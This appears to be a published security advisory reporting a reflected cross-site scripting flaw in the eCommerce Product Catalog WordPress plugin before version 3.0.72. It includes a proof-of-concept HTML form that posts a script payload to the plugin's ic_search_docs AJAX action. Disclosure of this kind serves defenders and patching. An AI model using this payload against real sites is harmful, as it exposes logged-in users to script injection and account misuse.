WordPress Plugin Vulnerabilities

eCommerce Product Catalog Plugin for WordPress < 3.0.72 - Reflected XSS via AJAX

Description

The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action available to any authenticated users, such as subscriber, leading to a Reflected Cross-Site Scripting

Proof of Concept

Make a logged in user open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin-ajax.php?action=ic_search_docs" method="POST">
    <input type="text" name="term" value="<script>alert(/XSS/)</script>">
    <input type="submit" name="submit" value="submit">
</form>

Affects Plugins

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
WPScan
Verified
Yes

Timeline

Publicly Published
2022-10-17 (about 1 years ago)
Added
2022-10-17 (about 1 years ago)
Last Updated
2022-10-17 (about 1 years ago)

Other